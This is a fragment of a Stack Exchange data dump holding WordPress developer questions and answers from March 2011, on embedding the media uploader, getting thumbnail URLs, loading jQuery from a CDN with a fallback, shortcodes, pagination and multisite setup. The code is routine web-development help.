type=&quot;text/javascript&quot;&amp;gt;&#xA;var swfu;&#xA;SWFUpload.onload = function() {&#xA;    var settings = {&#xA;            button_text: '&amp;lt;span class=&quot;button&quot;&amp;gt;Select Files&amp;lt;\/span&amp;gt;',&#xA;            button_text_style: '.button { text-align: center; font-weight: bold; font-family:&quot;Lucida Grande&quot;,Verdana,Arial,&quot;Bitstream Vera Sans&quot;,sans-serif; font-size: 11px; text-shadow: 0 1px 0 #FFFFFF; color:#464646; }',&#xA;            button_height: &quot;23&quot;,&#xA;            button_width: &quot;132&quot;,&#xA;            button_text_top_padding: 3,&#xA;            button_image_url: 'xxx.com/wp-includes/images/upload.png?ver=20100531',&#xA;            button_placeholder_id: &quot;flash-browse-button&quot;,&#xA;            upload_url : &quot;xxx.com/wp-admin/async-upload.php&quot;,&#xA;            flash_url : &quot;http://xxx.com/wp-includes/js/swfupload/swfupload.swf&quot;,&#xA;            file_post_name: &quot;async-upload&quot;,&#xA;            file_types: &quot;*.*&quot;,&#xA;            post_params : {&#xA;                        'post_id' : '1622', &#xA;        'auth_cookie' : 'admin|1301439526|5e5e63158e880597c782656a719f1738', &#xA;        'logged_in_cookie' : 'admin|1301439526|e01206ec12b5cee4a605f9abff385cc0', &#xA;        '_wpnonce' : '2460ab002a', &#xA;        'type' : 'image', &#xA;        'tab' : 'type', &#xA;        'short' : '1'           },&#xA;            file_size_limit : &quot;4194304b&quot;,&#xA;            file_dialog_start_handler : fileDialogStart,&#xA;            file_queued_handler : fileQueued,&#xA;            upload_start_handler : uploadStart,&#xA;            upload_progress_handler : uploadProgress,&#xA;            upload_error_handler : uploadError,&#xA;            upload_success_handler : uploadSuccess,&#xA;            upload_complete_handler : uploadComplete,&#xA;            file_queue_error_handler : fileQueueError,&#xA;            file_dialog_complete_handler : fileDialogComplete,&#xA;            swfupload_pre_load_handler: swfuploadPreLoad,&#xA;            swfupload_load_failed_handler: swfuploadLoadFailed,&#xA;            custom_settings : {&#xA;                degraded_element_id : &quot;html-upload-ui&quot;, // id of the element displayed when swfupload is unavailable&#xA;                swfupload_element_id : &quot;flash-upload-ui&quot; // id of the element displayed when swfupload is available&#xA;            },&#xA;            debug: false&#xA;        };&#xA;        swfu = new SWFUpload(settings);&#xA;};&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;flash-upload-ui&quot; class=&quot;hide-if-no-js&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;    Choose files to upload  &amp;lt;div id=&quot;flash-browse-button&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;span&amp;gt;&amp;lt;input id=&quot;cancel-upload&quot; disabled=&quot;disabled&quot; onclick=&quot;cancelUpload()&quot; type=&quot;button&quot; value=&quot;Cancel Upload&quot; class=&quot;button&quot; /&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;media-upload-size&quot;&amp;gt;Maximum upload file size: 4MB&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;html-upload-ui&quot;&amp;gt;&#xA;    &amp;lt;p id=&quot;async-upload-wrap&quot;&amp;gt;&#xA;&#xA;        &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;async-upload&quot;&amp;gt;Upload&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; name=&quot;async-upload&quot; id=&quot;async-upload&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;html-upload&quot; id=&quot;html-upload&quot; class=&quot;button&quot; value=&quot;Upload&quot;  /&amp;gt;      &amp;lt;a href=&quot;#&quot; onclick=&quot;try{top.tb_remove();}catch(e){}; return false;&quot;&amp;gt;Cancel&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;media-upload-size&quot;&amp;gt;Maximum upload file size: 4MB&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;//&amp;lt;![CDATA[&#xA;jQuery(function($){&#xA;    var preloaded = $(&quot;.media-item.preloaded&quot;);&#xA;    if ( preloaded.length &amp;gt; 0 ) {&#xA;        preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});&#xA;    }&#xA;    updateMediaForm();&#xA;});&#xA;//]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div id=&quot;media-items&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p class=&quot;savebutton ml-submit&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;save&quot; id=&quot;save&quot; class=&quot;button&quot; value=&quot;Save all changes&quot;  /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;var commonL10n = {&#xA;    warnDelete: &quot;You are about to permanently delete the selected items.\n  \'Cancel\' to stop, \'OK\' to delete.&quot;&#xA;};&#xA;try{convertEntities(commonL10n);}catch(e){};&#xA;var setPostThumbnailL10n = {&#xA;    setThumbnail: &quot;Use as featured image&quot;,&#xA;    saving: &quot;Saving...&quot;,&#xA;    error: &quot;Could not set that as the thumbnail image. Try a different attachment.&quot;,&#xA;    done: &quot;Done&quot;&#xA;};&#xA;try{convertEntities(setPostThumbnailL10n);}catch(e){};&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='http://xxx.com/wp-admin/load-scripts.php?c=1&amp;amp;amp;load=hoverIntent,common,jquery-color,imgareaselect,image-edit,set-post-thumbnail&amp;amp;amp;ver=6356b0bc2df931d1f1d78f0d91f6539d'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;if(typeof wpOnload=='function')wpOnload();&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-03-19T00:15:54.813" Title="Put the media uploader in a metabox" Tags="&lt;metabox&gt;&lt;attachments&gt;&lt;media&gt;&lt;custom-field&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="12447" PostTypeId="2" ParentId="3605" CreationDate="2011-03-18T23:36:37.773" Score="0" ViewCount="" Body="&lt;p&gt;If you do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;image_src&quot; href=&quot;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll find that Wordpress outputs the the html required to display the image, not just the SRC which is what you really want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Featured Image for FB Like&#xA;$feature_image = get_the_post_thumbnail($post-&amp;gt;ID);&#xA;&#xA;// Get image source&#xA;$doc = new DOMDocument();&#xA;$doc-&amp;gt;loadHTML($feature_image);&#xA;$imageTags = $doc-&amp;gt;getElementsByTagName('img');&#xA;&#xA;foreach($imageTags as $tag) {&#xA;        $image_url = $tag-&amp;gt;getAttribute('src');&#xA;    }&#xA;?&amp;gt;&#xA;&amp;lt;link rel=&quot;image_src&quot; href=&quot;&amp;lt;?php echo $image_url; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets you the URL only. It's probably the long way and can probably but shortened, but it definitely fixes the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this puts you on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matt.&lt;/p&gt;&#xA;" OwnerUserId="4050" LastActivityDate="2011-03-18T23:36:37.773" />
  <row Id="12448" PostTypeId="1" AcceptedAnswerId="12450" CreationDate="2011-03-18T23:45:53.547" Score="1" ViewCount="454" Body="&lt;p&gt;I will like to implement a few of the boilerplate template features in one of my instance WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out how to exchange the regular jquery calls below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http:/.../wp-includes/js/jquery/jquery.js?ver=1.4.4'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='http://.../wp-includes/js/jquery/ui.core.js?ver=1.8.9'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Grab Google CDN's jQuery, with a protocol relative URL; fall back to local if necessary --&amp;gt;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;window.jQuery || document.write(&quot;&amp;lt;script src='js/libs/jquery-1.5.1.min.js'&amp;gt;\x3C/script&amp;gt;&quot;)&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-03-19T02:59:46.437" Title="How to replace regular jquery calls with CDN calls from Google?" Tags="&lt;javascript&gt;&lt;cdn&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12449" PostTypeId="2" ParentId="12412" CreationDate="2011-03-18T23:48:06.627" Score="0" ViewCount="" Body="&lt;p&gt;It would seem that something in Wordpress causes a virtual revert to a standards that require cross-browser compatibility, making the same code not work inside and outside Wordpress. However, with some code to handle browser-differences (and still avoiding using libraries), the following is what &lt;strong&gt;viewport.js&lt;/strong&gt; looks like now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function height() {&#xA;    if( typeof( window.innerWidth ) == 'number' ) {&#xA;        //Non-IE&#xA;        return window.innerHeight;&#xA;    } else if ( document.documentElement &amp;amp;&amp;amp; ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {&#xA;        //IE 6+ in 'standards compliant mode'&#xA;        return document.documentElement.clientHeight;&#xA;    } else if ( document.body &amp;amp;&amp;amp; ( document.body.clientWidth || document.body.clientHeight ) ) {&#xA;        //IE 4 compatible&#xA;        return document.body.clientHeight;&#xA;    }&#xA;}&#xA;function distance() {&#xA;    if(typeof pageYOffset!= 'undefined'){&#xA;        //most browsers&#xA;        return pageYOffset;&#xA;    } else {&#xA;        var B= document.body; //IE 'quirks'&#xA;        var D= document.documentElement; //IE with doctype&#xA;        D= (D.clientHeight)? D: B;&#xA;        return D.scrollTop;&#xA;    }&#xA;}&#xA;&#xA;function gingah_comments_onLoad() {&#xA;    var element = document.getElementById(&quot;comments&quot;);&#xA;    var current = height()+distance();&#xA;    var target = element.offsetTop;&#xA;    console.log(current);&#xA;    console.log(target);&#xA;    if (current &amp;gt;= target) {&#xA;        if (typeof jQuery == 'undefined') {&#xA;            $.defer(&quot;http://localhost/wp/wp-includes/js/jquery/jquery.js&quot;, {&#xA;            }).done(console.log('loaded jQuery'));&#xA;            window.onscroll = null;&#xA;        }&#xA;    }&#xA;}&#xA;window.onscroll = gingah_comments_onLoad;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then loads jQuery from the standard Wordpress-path when the &lt;em&gt;#comments&lt;/em&gt;-element comes into view.&lt;/p&gt;&#xA;" OwnerUserId="2983" LastActivityDate="2011-03-18T23:48:06.627" />
  <row Id="12450" PostTypeId="2" ParentId="12448" CreationDate="2011-03-19T00:12:45.113" Score="5" ViewCount="" Body="&lt;p&gt;You should be loading jQuery with &lt;code&gt;wp_enqueue_script('jquery')&lt;/code&gt; - that way, you won't end up with multiple instances if plugins try to load it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Google CDN, place this in your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script('jquery');&#xA;wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js', array(), '1.5.1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Personally, and I know this sounds like a cop-out, but I wouldn't bother checking the CDN. Google is just so damn reliable, and it's more than likely it's already in the user's browser cache anyway (so many sites use Google's CDN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, in my duty to answer, you have one of two options;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check server side with a remote get, and if it fails, serve the local copy (expensive and not recommended)&lt;/li&gt;&#xA;&lt;li&gt;Run a script client-side that checks for jQuery, and prints the fallback if necessary&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The trouble with 2) is that you need to inject this script &lt;em&gt;right after&lt;/em&gt; jQuery, and before any other plugins that depend on it fire their scripts. The only way I know you can do this is to 'listen' for jQuery, then output the JavaScript on the next call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The magic? Drop this in your &lt;code&gt;functions.php&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !is_admin() ) :&#xA;/**&#xA; * Hack to display fallback JavaScript *right* after jQuery loaded.&#xA; */&#xA;function __jquery_fallback( $src, $handle = null )&#xA;{&#xA;    static $run_next = false;&#xA;&#xA;    if ( $run_next ) {&#xA;        $local = '/js/libs/jquery-1.5.1.min.js';&#xA;        echo &amp;lt;&amp;lt;&amp;lt;JS&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;/*//&amp;lt;![CDATA[*/window.jQuery || document.write('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;$local&quot;&amp;gt;&amp;lt;\/script&amp;gt;');/*//]]&amp;gt;*/&amp;lt;/script&amp;gt;&#xA;&#xA;JS;&#xA;        $run_next = false;&#xA;    }&#xA;&#xA;    if ( $handle === 'jquery' )&#xA;        $run_next = true;&#xA;    return $src;&#xA;}&#xA;add_filter( 'script_loader_src', '__jquery_fallback', 10, 2 );&#xA;add_action( 'wp_head', '__jquery_fallback', 2 );&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For those in the know, this is also hooked to &lt;code&gt;wp_head&lt;/code&gt; right after &lt;code&gt;wp_print_scripts&lt;/code&gt; would have fired, in case there were no more scripts to print after &lt;code&gt;jquery&lt;/code&gt; (the function does it's work on the &lt;em&gt;next&lt;/em&gt; call, rather than the instance it is called with jQuery).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-03-19T02:59:46.437" LastActivityDate="2011-03-19T02:59:46.437" CommentCount="4" />
  <row Id="12451" PostTypeId="2" ParentId="12446" CreationDate="2011-03-19T00:15:54.813" Score="4" ViewCount="" Body="&lt;p&gt;As Apple might've put it &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/faster-image-insert/&quot; rel=&quot;nofollow&quot;&gt;There's a plugin for that&lt;/a&gt;&quot; :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://wordpress.org/extend/plugins/faster-image-insert/&quot; rel=&quot;nofollow&quot;&gt;Faster Image Insert&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-19T00:15:54.813" CommentCount="3" />
  <row Id="12452" PostTypeId="2" ParentId="12403" CreationDate="2011-03-19T01:22:27.137" Score="1" ViewCount="" Body="&lt;p&gt;If you're looking for a &quot;talk with a representative&quot; type chat plugin I found that www.oggchat.com was a reasonable one, and they have a Wordpress plugin to go with it. It supports the rep chatting from either the Oggchat website or via Gtalk, so your rep could be anywhere at any time, with a smartphone and a Gtalk program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a &quot;users on the site can chat together&quot;, then Oggchat isn't what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-19T01:22:27.137" CommentCount="1" />
  <row Id="12453" PostTypeId="2" ParentId="12400" CreationDate="2011-03-19T01:24:55.123" Score="1" ViewCount="" Body="&lt;p&gt;You won't be able to do it purely with Javascript (with or without jQuery) as the images are hosted server-side, and there'd be no way for a Javascript function to scan to see what's available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is write a function to do it in functions.php and tie it to a shortcode, but then you're starting to get into the territory of where a plugin would be easier.&lt;/p&gt;&#xA;" OwnerUserId="3803" LastActivityDate="2011-03-19T01:24:55.123" CommentCount="1" />
  <row Id="12454" PostTypeId="2" ParentId="11072" CreationDate="2011-03-19T02:33:36.600" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5308/custom-post-types-taxonomies-and-permalinks/5313#5313&quot;&gt;this answer&lt;/a&gt; will help you. &lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2011-03-19T02:33:36.600" />
  <row Id="12455" PostTypeId="1" AcceptedAnswerId="12480" CreationDate="2011-03-19T06:10:22.257" Score="0" ViewCount="120" Body="&lt;p&gt;STEPS:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Don't forget to use different id numbers in each accordion. For example: id=&quot;5&quot; (1 to 10)&lt;/li&gt;&#xA;&lt;li&gt;The title goes between the &lt;/li&gt;&#xA;&lt;li&gt;The lyrics before the &lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place 2 accordions per posts (like the example below). Or they will mess up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;div class=&quot;basic&quot; style=&quot;float:left;&quot; id=&quot;5&quot;&amp;gt;&#xA;                &amp;lt;a&amp;gt;There is one obvious advantage:&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        You've seen it coming!&amp;lt;br/&amp;gt;&#xA;                        Buy now and get nothing for free!&amp;lt;br/&amp;gt;&#xA;&#xA;                        Well, at least no free beer. Perhaps a bear,&amp;lt;br/&amp;gt;&#xA;                        if you can afford it.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;a&amp;gt;Now that you've got...&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        your bear, you have to admit it!&amp;lt;br/&amp;gt;&#xA;&#xA;                        No, we aren't selling bears.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;a&amp;gt;Rent one bear, ...&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        get two for three beer.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        Period.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;basic&quot; style=&quot;float:left;&quot; id=&quot;6&quot;&amp;gt;&#xA;                &amp;lt;a&amp;gt;There is one obvious advantage:&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        You've seen it coming!&amp;lt;br/&amp;gt;&#xA;                        Buy now and get nothing for free!&amp;lt;br/&amp;gt;&#xA;&#xA;                        Well, at least no free beer. Perhaps a bear,&amp;lt;br/&amp;gt;&#xA;                        if you can afford it.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;a&amp;gt;Now that you've got...&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        your bear, you have to admit it!&amp;lt;br/&amp;gt;&#xA;&#xA;                        No, we aren't selling bears.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;a&amp;gt;Rent one bear, ...&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        get two for three beer.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        And now, for something completely different.&amp;lt;br/&amp;gt;&#xA;                        Period.&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My client said is too complicated. How can I turn this into a shortcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a jQuery accordion the title goes in the anchor tags and the lyrics before the break tags and the ID of the divs have to change eacdh time.&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-19T16:08:48.877" LastActivityDate="2011-08-13T13:56:36.737" Title="How to turn this HTML code into a shortcode? (adding song lyrics and giving an id to a div)" Tags="&lt;shortcode&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12456" PostTypeId="1" AcceptedAnswerId="12471" CreationDate="2011-03-19T06:45:07.747" Score="0" ViewCount="249" Body="&lt;p&gt;I'm not very familiar with Wordpress' pagination so I'm not sure if this a stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/BOcNb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Pictures Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;?php // Run main loop (The Loop). ?&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;content0&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;            &amp;lt;?php $custom_posts-&amp;gt;query('category_name=Pictures'); ?&amp;gt;&#xA;            &amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't know how to add pagination, it is out of my comprehension. &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-19T10:37:54.233" Title="Adding pagination to a custom template that uses custom post types?" Tags="&lt;pagination&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12457" PostTypeId="1" CreationDate="2011-03-19T07:07:14.220" Score="0" ViewCount="79" Body="&lt;p&gt;This query given below appears alot in my slow-query log. Can someone please tell me where can I find this query ? that will help me try to modify it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts WHERE 1=1 AND (((wp_posts.post_title LIKE '%true%') OR (wp_posts.post_content LIKE '%true%'))) AND (wp_posts.post_password = '') AND wp_posts.post_type IN ('post', 'page', 'attachment', 'slideshow') AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="903" LastActivityDate="2011-03-19T12:00:37.853" Title="Where is this query?" Tags="&lt;wp-query&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="12458" PostTypeId="1" CreationDate="2011-03-19T07:12:23.687" Score="0" ViewCount="77" Body="&lt;p&gt;I am a CAS coordinator at an International HS in Dhaka, Bangladesh and need to maintain a website where community members can find out about CAS and where I can post info about student successes and more. CAS stands for Creativity, Action and Service and it is core requirement for IB diploma (HS) candidates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the first version of the site was set up to support a Network so all the students could have their own blog to record their progress in CAS. The install was fine but kids didn't use for various reasons and we abandoned the idea in favor of a hosted CAS management system which the kids love.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted all the student blogs and modified the main site and it also seems to be working well. This morning I had shock when I was getting under the hood and could not find plugins I had installed. Upon investigation, I realized that my plugins were under the network admin which seems to be different from the site admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: What are the consequence of running a single site with the network admin layer still in play? I've installed my theme (Atahualpa) at the network level. How should I be thinking about this? What kind of issues will I face down the road?  Is there any reason to redo without network admin turned on? Will I be able to disable the network admin and keep my sight?&lt;/p&gt;&#xA;" OwnerUserId="4030" LastActivityDate="2011-03-19T07:12:23.687" Title="Best practices - network vs. single site" Tags="&lt;network&gt;" />
  <row Id="12459" PostTypeId="1" AcceptedAnswerId="12462" CreationDate="2011-03-19T07:24:19.710" Score="0" ViewCount="122" Body="&lt;p&gt;Basically, I would like to know how to make a post appear on facebook (like when you press a facebook share button.) the right instant you click 'Publish'?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-19T07:48:16.483" Title="How to automatically share posts on facebook?" Tags="&lt;posts&gt;&lt;facebook&gt;" AnswerCount="1" />
  <row Id="12461" PostTypeId="2" ParentId="3426" CreationDate="2011-03-19T07:45:22.143" Score="0" ViewCount="" Body="&lt;p&gt;The better way to handel all plugins in Multisite Network is &quot;Plugin Commander&quot; you can find here: &lt;a href=&quot;http://wordpress.org/extend/plugins/plugin-commander/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/plugin-commander/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4051" LastActivityDate="2011-03-19T07:45:22.143" />
  <row Id="12462" PostTypeId="2" ParentId="12459" CreationDate="2011-03-19T07:48:16.483" Score="1" ViewCount="" Body="&lt;p&gt;There are several plugins you can use. One of such plugin is Wordbook.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-19T07:48:16.483" />
